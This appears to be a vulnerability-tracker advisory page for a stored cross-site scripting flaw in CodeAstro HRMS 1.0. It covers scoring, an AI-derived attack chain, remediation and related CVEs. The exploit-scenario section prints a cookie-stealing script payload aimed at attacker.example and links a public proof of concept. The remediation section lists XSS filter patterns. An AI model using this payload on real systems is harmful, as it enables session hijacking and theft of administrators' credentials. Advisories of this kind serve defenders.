Skip to main content

CodeAstro HRMS EUVDEUVD-2026-36569

| CVE-2026-12130 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-06-12 VulDB GHSA-7746-xhm9-vvcw
2.0
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate with low-privilege HRMS credentials
  2. Delivery
    Navigate to /Projects/Add_Projects
  3. Exploit
    Inject XSS payload into protitle POST parameter
  4. Install
    Payload persisted to application database
  5. C2
    Victim admin views Projects Management Page
  6. Execute
    Stored script executes in victim's browser
  7. Impact
    Exfiltrate session cookie or perform privileged actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold a valid, authenticated low-privilege account within the CodeAstro HRMS application (PR:L confirmed by CVSS 4.0 vector). The attacker must have permission to access the /Projects/Add_Projects endpoint - i.e., the Projects Management feature must be accessible to their role. A separate victim user (typically a higher-privilege user such as an HR administrator) must subsequently view the Projects Management Page, triggering the stored payload in their browser session (UI:P required). Exploitation is limited to: authenticated access only (no unauthenticated path), passive victim interaction (payload does not self-execute - victim must browse to the affected page), and impact is confined to browser-side execution in the victim's session context. No special server configuration or non-default deployment mode is required beyond normal application use.

Impact

The CVSS 4.0 base score of 2.0 places this in the Low band, driven by PR:L (attacker must be authenticated), UI:P (victim interaction required), and minimal integrity impact with no confidentiality or availability impact on the vulnerable system itself. However, the CVSS 4.0 vector as provided (SC:N/SI:N/SA:N) does not fully capture downstream browser-context impact: stored XSS that executes in an HR administrator's session can enable cookie exfiltration, session hijacking, and CSRF-equivalent actions - impacts that exceed what the base score suggests. No EPSS data was provided, and the vulnerability is not listed in the CISA KEV catalog, indicating no confirmed active exploitation at scale. The publicly available PoC on GitHub (E:P in the CVSS 4.0 threat metrics) is the most significant risk-elevating signal. Real-world risk is moderate for organizations running this product: an insider threat or compromised low-privilege account could escalate impact against privileged HR staff. The low CVSS score should not cause defenders to dismiss this if untrusted users have access to the Projects Management interface.

Exploit ScenarioDerived

An attacker with a low-privilege account in the HRMS (e.g., a regular employee) navigates to the Add Projects page and submits a project title containing a JavaScript payload such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script>. The payload is stored in the database. When an HR administrator later opens the Projects listing, the script executes silently in their browser, exfiltrating their session cookie to the attacker's server. A public PoC on GitHub (https://github.com/ashikmd0507/CVE/tree/main/Stored-XSS-via-Project-Title) documents this exact technique, making reproduction trivial.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 12, 2026

Stored cross-site scripting in CodeAstro Human Resource Management System 1.0 allows an authenticated low-privilege user to inject persistent malicious script via the protitle argument on the /Projects/Add_Projects endpoint. When any other authenticated user (e.g., an HR administrator) subsequently views the Projects Management Page, the stored payload executes in their browser context, enabling session hijacking, credential theft, or unauthorized actions on their behalf. A public proof-of-concept exploit is hosted on GitHub, lowering the bar for exploitation, though KEV listing is absent and the CVSS 4.0 score of 2.0 reflects the constrained impact scope.

RemediationAI

No vendor-released patch has been identified at time of analysis - the vendor site (https://codeastro.com/) was listed as a reference but contains no advisory. The upstream fix, if any, has not been independently confirmed with an exact version number. As an immediate compensating control, restrict access to the /Projects/Add_Projects endpoint to only fully trusted, vetted users - do not allow untrusted or externally-facing accounts the Projects Management privilege. Implement a Web Application Firewall (WAF) rule to detect and block XSS patterns (e.g., <script>, onerror=, javascript:) in the protitle POST parameter; note this is an imperfect filter and may produce false positives on legitimate project title input. Apply a strict Content-Security-Policy header (default-src 'self') to limit script execution scope, though this requires server configuration access. Monitor VulDB entry https://vuldb.com/cve/CVE-2026-12130 and the vendor site for patch availability. If a patched release is published, upgrade immediately and validate that the protitle field is properly HTML-encoded on output.

Affected VersionsENISA

Human Resource Management System 1.0

Affected Packages

euvd human_resource_management_system no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is the Projects Management page of CodeAstro Human Resource Management System version 1.0 (CPE: cpe:2.3:a:codeastro:human_resource_management_system:*:*:*:*:*:*:*:*). The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-Site Scripting): the application fails to sanitize or encode the protitle POST parameter before persisting it to the database and later rendering it back into HTML responses. Because the payload is stored server-side and rendered to any user who views the projects listing, this is classified as stored (persistent) XSS rather than reflected. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P) confirms network delivery, no special attack conditions, low-privilege authentication required, and passive user interaction needed from the victim.

Know when Human Resource Management System gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.0 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
vuln.today AI 5.4 MEDIUM

Network-delivered stored XSS requiring low-privilege auth (PR:L), victim page view (UI:R), scope change to victim browser (S:C), with low C and I for session/data exposure.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
Jun 12, 2026 - 21:22 NVD
MEDIUM LOW
CVSS changed
Jun 12, 2026 - 21:22 NVD
5.1 (MEDIUM) 2.0 (LOW)

DescriptionCVE.org

A security flaw has been discovered in CodeAstro Human Resource Management System 1.0. This affects an unknown part of the file /Projects/Add_Projects of the component Projects Management Page. The manipulation of the argument protitle results in cross site scripting. The attack may be launched remotely. The exploit has been released to the public and may be used for attacks.

Threat Intelligence Overview

EPSS Score
0.0%
Top 89% exploitable
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2024-35469 CRITICAL POC
9.8 May 30

A SQL injection vulnerability in /hrm/user/ in SourceCodester Human Resource Management System 1.0 allows attackers to e

CVE-2023-3391 CRITICAL POC
9.8 Jun 23

A vulnerability was found in SourceCodester Human Resource Management System 1.0. Rated critical severity (CVSS 9.8), th

CVE-2022-4273 CRITICAL POC
9.8 Dec 03

A vulnerability, which was classified as critical, has been found in SourceCodester Human Resource Management System 1.0

CVE-2022-43262 CRITICAL POC
9.8 Nov 16

Human Resource Management System v1.0 was discovered to contain a SQL injection vulnerability via the password parameter

CVE-2024-34221 HIGH POC
8.8 May 14

Sourcecodester Human Resource Management System 1.0 is vulnerable to Insecure Permissions resulting in privilege escalat

CVE-2022-43318 HIGH POC
8.8 Nov 07

Human Resource Management System v1.0 was discovered to contain a SQL injection vulnerability via the stateedit paramete

CVE-2024-34220 HIGH POC
7.5 May 14

Sourcecodester Human Resource Management System 1.0 is vulnerable to SQL Injection via the 'leave' parameter. Rated high

CVE-2022-4278 HIGH POC
7.2 Dec 03

A vulnerability was found in SourceCodester Human Resource Management System 1.0. Rated high severity (CVSS 7.2), this v

CVE-2024-13006 MEDIUM POC
6.9 Dec 29

A vulnerability, which was classified as critical, has been found in 1000 Projects Human Resource Management System 1.0.

CVE-2022-3473 MEDIUM POC
6.5 Oct 13

A vulnerability classified as critical has been found in SourceCodester Human Resource Management System. Rated medium s

CVE-2022-3470 MEDIUM POC
6.5 Oct 13

A vulnerability was found in SourceCodester Human Resource Management System. Rated medium severity (CVSS 6.5), this vul

CVE-2022-4279 MEDIUM POC
6.1 Dec 03

A vulnerability classified as problematic has been found in SourceCodester Human Resource Management System 1.0. Rated m

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy